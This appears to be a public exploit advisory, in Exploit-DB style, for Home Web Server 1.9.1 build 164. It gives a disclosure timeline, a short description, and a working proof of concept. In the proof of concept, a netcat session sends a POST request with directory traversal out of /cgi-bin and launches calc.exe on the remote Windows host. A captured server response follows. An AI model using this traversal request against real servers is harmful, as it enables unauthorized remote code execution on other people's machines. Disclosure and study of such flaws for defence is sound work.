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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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# Exploit Title: Home Web Server 1.9.1 build 164 - CGI Remote Code Execution
# Date: 26/05/2017
# Exploit Author: Guillaume Kaddouch
#   Twitter: @gkweb76
#   Blog: https://networkfilter.blogspot.com
#   GitHub: https://github.com/gkweb76/exploits
# Vendor Homepage: http://downstairs.dnsalias.net/ (does not exist anymore)
# Software Link: http://download.cnet.com/Home-Web-Server/3000-2648_4-10652679.html
# Version: 1.9.1 (build 164)
# Tested on: Windows 7 SP1 Family x64 (FR)
# Category: Webapps

"""
Disclosure Timeline:
--------------------
2017-05-26: Vulnerability discovered
2017-05-26: Vendor website is down, no way to contact him

 
Description :
-------------
Home Web Server allows to call cgi programs via POST which are located into /cgi-bin folder. However by using a directory traversal,
it is possible to run any executable being on the remote host.
 

Instructions:
-------------
- Starts Home Web Server.
- Run this exploit from a remote Kali machine with netcat as below.
"""

# Connect with netcat, then drop a single POST to call the executable you want
guillaume@kali:~/kiwi_syslog$ nc 10.0.0.100 80
POST /cgi-bin/../../../../../../../../Windows/system32/calc.exe HTTP/1.1

# Returned response
HTTP/1.1 400 Bad Request
Connection: close
Content-Length: 0
Server: My Web Server (HWS164)

"""
[CTRL+C] : this is important to launch the executable we requested

Calc.exe has been launched on the remote host.
"""